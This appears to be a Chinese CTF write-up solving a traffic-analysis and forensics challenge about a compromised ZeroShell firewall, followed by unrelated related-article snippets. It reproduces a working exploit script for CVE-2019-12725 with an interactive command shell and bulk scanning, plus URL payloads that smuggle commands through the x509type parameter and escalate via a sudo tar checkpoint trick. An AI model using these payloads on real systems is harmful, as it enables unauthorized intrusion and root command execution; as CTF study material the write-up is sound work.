流量分析复现(第十八届信息安全大赛 第二届长城杯 )

zeroshell_1

        题目:从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

        

        这里大致的思路还是先看看,流量协议的分级

        主要还是以TCP流量为主,所以大致推测还是要从数据交互这方面来看

         会话分级,大致锁定了可疑ip,63.139.2开头的ip,是一个A类地址,A类地址通常用于大型网络,因为它们提供了大量的主机地址。具体来说,A类地址的设计初衷是为拥有大量设备的组织或机构提供服务。所以初步怀疑,可能使用的攻击ip,就是顶着A类地址的名字去攻击的

        再下一步的思路就是,执行了命令,所以这里选择的余地就很多了,大致可以分为两个方面,一个是对命执行函数的筛选(system,exec等等),另外一方面是对执行内容的筛选(木马,shell,病毒等等)

        验证猜想,在筛选“exec”时,过滤出来了很多http流量,还是有一条流量是非常明显的(sudo)

        追踪流,实际上很明显了,这里就是目标流量,然后关键就是在里面找flag的相关信息

        筛了一圈,筛不出来,最后是感觉refer值很不正常,而且看着比较像base64的加密格式,解密

        得到flag,附带的refer的知识点

http请求头中Referer的含义和作用-CSDN博客

zeroshell_2

题目:通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

         先根据手册,搭建环境

        成功搭建以后,根据题目一的流量包的payload,发现请求中的type参数可以用来执行命令。搜一下zeroshell漏洞,确认是zeroshell防火墙的一个rce漏洞CVE-2019-12725。

        找了一下这个cve的exp

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import randomurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]#随机ua
def get_ua():first_num = random.randint(55, 62)third_num = random.randint(0, 3200)fourth_num = random.randint(0, 140)os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)','(Macintosh; Intel Mac OS X 10_12_6)']chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36','(KHTML, like Gecko)', chrome_version, 'Safari/537.36'])return uadef check_vuln(url):url = parse.urlparse(url)url2=url.scheme + '://' + url.netloc headers = {'User-Agent': get_ua(),}# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")try:res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)if res2.status_code==200 and "uid" in res2.text:print("\033[32m[+]%s is vuln\033[0m" %url2)return 1else:print("\033[31m[-]%s is not vuln\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout\033[0m" %url2)#cmdshell
def cmdshell(url):if check_vuln(url)==1:url = parse.urlparse(url)url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'while 1:shell = input("\033[35mcmd: \033[0m")if shell =="exit":sys.exit(0)else:headers = {'User-Agent': get_ua(),}try:res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)if res.status_code==200 and len(res.text) != 0:vulntext=res.text.split('<html>')print("\033[32m%s\033[0m" %vulntext[0])else:print("\033[31m[-]%s Command execution failed !\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout!\033[0m" %url1)#多线程
def multithreading(url_list, pools=5):works = []for i in url_list:# works.append((func_params, None))works.append(i)# print(works)pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(check_vuln, works)[pool.putRequest(req) for req in reqs]pool.wait()if __name__ == '__main__':show = r'''_____ _   _ _____       _____  _____  __   _____        __   _____  ___________  _____ /  __ \ | | |  ___|     / __  \|  _  |/  | |  _  |      /  | / __  \|___  / __  \|  ___|| /  \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /'   / /`' / /'|___ \ | |   | | | |  __|______| / /  |  /| | | | \____ |______|| |   / /    / /   / /      \ \| \__/\ \_/ / |___      ./ /___\ |_/ /_| |_.___/ /      _| |_./ /___./ /  ./ /___/\__/ /\____/\___/\____/      \_____/ \___/ \___/\____/       \___/\_____/\_/   \_____/\____/ CVE-2019-12725 By m2'''print(show + '\n')arg=ArgumentParser(description='CVE-2019-12725 By m2')arg.add_argument("-u","--url",help="Target URL; Example:http://ip:port")arg.add_argument("-f","--file",help="Target URL; Example:url.txt")arg.add_argument("-c","--cmd",help="Target URL; Example:http://ip:port")args=arg.parse_args()url=args.urlfilename=args.filecmd=args.cmdprint('[*]任务开始...')if url != None and cmd == None and filename == None:check_vuln(url)elif url == None and cmd == None and filename != None:start=time()for i in open(filename):i=i.replace('\n','')check_vuln(i)end=time()print('任务完成,用时%d' %(end-start))elif url == None and cmd != None and filename == None:cmdshell(cmd)

        

        这里可以看到flag是不在根目录的

        直接find命令筛选相关的文件

find / -type f -name "*flag*"

        c

        从根目录,一找就是一堆,看看database的

        又看了几个,基本确定就是这个了,只是flag文件在两个目录下都有

         不用exp也行,这里给出payload

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20%22flag%22%0A%27

zeroshell_3

题目:找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}

         实际上,这里就体现出了用exp的好处了,命令回显各种看着很方便

        既然是地址,netstat看一下,发现外部地址中有一个比较特别的ip地址,涉及8080端口

        答案就是这个,flag{202.115.89.103}

zeroshell_4

题目:请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

        这里的思路的话,还是先去找流量包里面的木马相关信息,看看能不能直接找到名字,不行就再来这边执行命令看看具体的文件位置和文件

        找了一下,直接找是不太可能了,所以这里只能尝试通过上一题的地址,看看进程号那些,再看看该进程下运行的文件

        因为命令行那个,显示有点问题,所以换来这里看,全部复制下来以后,找到了上一题地址的进程号是10449

        实际上这个进程号,我在命令行里面用“ps -e”命令也找到了类似的,很像木马的东西

        像之前一样,用find命令找找具体位置????

        找不到

        那就直接查找进程10449的exe

        尝试了很多次以后发现,实际上应该是这个exp截断了部分内容

         用payload就能直接找到

        搞下来看看

        下载下来直接就报毒,肯定就是这个了

        flag{.nginx}

zeroshell_5

题目:请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}

        逆向看看

        32位的elf ,386架构

        大致搓了一波,找不到什么相关的字符串,找找之前的地址,看看有没有相关

        追踪

        这个长度和内容,很明显了

        密钥,flag{11223344qweasdzxc}

zeroshell_6

题目:请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

        

        实际上这个题目的意思已经比较明显了,所以直接在网站路径/var目录下面全局搜索 .nginx文件

payload如下

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27grep -r ".nginx"  /var%27%0A%27

        

        得到了flag{/var/register/system/startup/scripts/nat/File}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/4166.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ImportError: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32‘ not found

问题描述&#xff1a;安装MMYOLO或者MMROTATE时&#xff0c;出现的问题&#xff1a; (base) rootautodl-container-78fc438fda-4132d99a:~/autodl-tmp/MMROTATE_PROJECT/mmrotate-1.x# python demo/image_demo.py demo/demo.jpg oriented-rcnn-le90_r50_fpn_1x_dota.py orient…

2024年博客之星年度评选—创作影响力评审入围名单公布

2024年博客之星活动地址https://www.csdn.net/blogstar2024 TOP 300 榜单排名 用户昵称博客主页 身份 认证 评分 原创 博文 评分 平均 质量分评分 互动数据评分 总分排名三掌柜666三掌柜666-CSDN博客1001002001005001wkd_007wkd_007-CSDN博客1001002001005002栗筝ihttps:/…

25/1/15 嵌入式笔记 初学STM32F108

GPIO初始化函数 GPIO_Ini&#xff1a;初始化GPIO引脚的模式&#xff0c;速度和引脚号 GPIO_Init(GPIOA, &GPIO_InitStruct); // 初始化GPIOA的引脚0 GPIO输出控制函数 GPIO_SetBits&#xff1a;将指定的GPIO引脚设置为高电平 GPIO_SetBits(GPIOA, GPIO_Pin_0); // 将GPIO…

新星杯-ESP32智能硬件开发--ESP32的I/O组成-系统中断矩阵

本博文内容导读&#x1f4d5;&#x1f389;&#x1f525; ESP32开发板的中断矩阵、功能描述与实现、相关API和示例程序进行介绍 ESP32中断矩阵将任一外部中断源单独分配到每个CPU的任一外部中断上&#xff0c;提供了强大的灵活性&#xff0c;能适应不同的应用需求。 ESP32中断主…

游戏引擎学习第81天

仓库:https://gitee.com/mrxiao_com/2d_game_2 或许我们应该尝试在地面上添加一些绘图 在这段时间的工作中&#xff0c;讨论了如何改进地面渲染的问题。虽然之前并没有专注于渲染部分&#xff0c;因为当时主要的工作重心不在这里&#xff0c;但在实现过程中&#xff0c;发现地…

【2024年华为OD机试】(C卷,100分)- 悄悄话 (Java JS PythonC/C++)

一、问题描述 题目描述 给定一个二叉树&#xff0c;每个节点上站一个人&#xff0c;节点数字表示父节点到该节点传递悄悄话需要花费的时间。 初始时&#xff0c;根节点所在位置的人有一个悄悄话想要传递给其他人&#xff0c;求二叉树所有节点上的人都接收到悄悄话花费的时间…

【Spring Boot】掌握 Spring 事务:隔离级别与传播机制解读与应用

前言 &#x1f31f;&#x1f31f;本期讲解关于spring 事务传播机制介绍~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么废话…

【陕西省乡镇界】面图层shp格式arcgis数据乡镇名称和编码2020年wgs84坐标无偏移内容测评

标题中的“陕西省乡镇界面图层shp格式arcgis数据乡镇名称和编码2020年wgs84坐标无偏移.zip”表明这是一个地理信息系统&#xff08;GIS&#xff09;的数据集&#xff0c;专为陕西省的乡镇区域设计。该数据集以Shapefile&#xff08;shp&#xff09;格式提供&#xff0c;是GIS领…

国家统计局湖北调查总队副总队长张小青一行调研珈和科技农业遥感调查智能化算法

1月15日上午&#xff0c;国家统计局湖北调查总队党组成员、副总队长张小青一行莅临珈和科技开展调研。调研期间&#xff0c;张小青一行实地了解了珈和科技在自动化作物分布提取技术领域的最新成果&#xff0c;深入探讨了作物自动化处理模型在农业调查上应用的创新价值及优化方向…

-bash: /java: cannot execute binary file

在linux安装jdk报错 -bash: /java: cannot execute binary file 原因是jdk安装包和linux的不一致 程序员的面试宝典&#xff0c;一个免费的刷题平台

vue集成高德地图API实现坐标拾取功能

安装与配置&#xff1a; 组件 | vue-amapDescriptionhttps://elemefe.github.io/vue-amap/#/zh-cn/introduction/install简介 | vuemap/vue-amap简介https://vue-amap.guyixi.cn/zh-cn/introduction/introduction.html ​​​​我的应用 | 高德控制台高德开放平台官网控…

【大数据2025】Yarn 总结

分布式资源管理系统讲解总结 一、引言 围绕分布式资源管理系统展开&#xff0c;重点涵盖 Yarn 的简介、原理、资源调度策略以及运维和管理&#xff0c;旨在让学员全面掌握相关知识。Yet Another Resource Negotiator 二、Yarn 诞生背景 在 Hadoop 1.X 中仅有 HDFS 和 MapRe…

微服务学习:基础理论

一、微服务和应用现代化 1、时代的浪潮&#xff0c;企业的机遇和挑战 在互联网化数字化智能化全球化的当今社会&#xff0c;IT行业也面临新的挑战&#xff1a; 【快】业务需求如“滔滔江水连绵不绝”&#xff0c;企业需要更快的交付【变】林子大了&#xff0c;百色用户&…

python+django+Nacos实现配置动态更新-集中管理配置(实现mysql配置动态读取及动态更新)

一、docker-compose.yml 部署nacos服务 version: "3" services:mysql:container_name: mysql# 5.7image: mysql:5.7environment:# mysql root用户密码MYSQL_ROOT_PASSWORD: rootTZ: Asia/Shanghai# 初始化数据库(后续的初始化sql会在这个库执行)MYSQL_DATABASE: nac…

【专题二 二叉树中的深搜】98. 验证二叉搜索树

1.题目解析 2.讲解算法原理 二叉搜索树的中序遍历是一个有序序列 1.使用全局变量的优势 2.回溯 3.剪枝 左子树是二叉搜索树当前节点符合二叉搜索树的定义右子树是一个二叉搜索树 3.编写代码 /*** Definition for a binary tree node.* public class TreeNode {* in…

Reactor 模式在 Edis、Nginx 和 Netty 中的应用与高性能网络模式解析

文章目录 参考文章Reactor 模式在 Edis、Nginx 和 Netty 中的应用与高性能网络模式解析一、Reactor 模式二、Redis 中的 Reactor 模式三、Nginx 中的 Reactor 模式四、Netty 中的 Reactor 模式五、Reactor 模式的优势六、总结 参考文章 redis&#xff0c;nginx&#xff0c;net…

C++,设计模式,【目录篇】

文章目录 1. 简介2. 设计模式的分类2.1 创建型模式&#xff08;Creational Patterns&#xff09;&#xff1a;2.2 结构型模式&#xff08;Structural Patterns&#xff09;&#xff1a;2.3 行为型模式&#xff08;Behavioral Patterns&#xff09;&#xff1a; 3. 使用设计模式…

深度学习 Pytorch 基本优化思想与最小二乘法

在正式开始进行神经网络建模之前&#xff0c;我们还需要掌握pytorch中最核心的基础数学工具——autograd(自动微分)模块。虽然对于任何一个通用的深度学习框架都会提供许多自动优化的算法和现成的loss function&#xff0c;但如果想更深入理解神经网络&#xff0c;对深度学习的…

word转pdf

依赖 先安装好MAVEN https://blog.csdn.net/m0_62214280/article/details/140643392 链接&#xff1a;https://pan.baidu.com/s/1jISO-TPEyLgC8RTmMJGRQw 提取码&#xff1a;9ju8 <dependency><groupId>com.aspose</groupId><artifactId>aspose-words…

【多线程】线程池

一、什么是线程池 线程池&#xff08;Thread Pool&#xff09;是一种多线程并发执行的设计模式&#xff0c;它通过维护一个线程集合来执行多个任务&#xff0c;避免频繁地创建和销毁线程&#xff0c;提高系统性能和响应速度。 就好比如你经营了一家餐饮店&#xff0c;你名下有…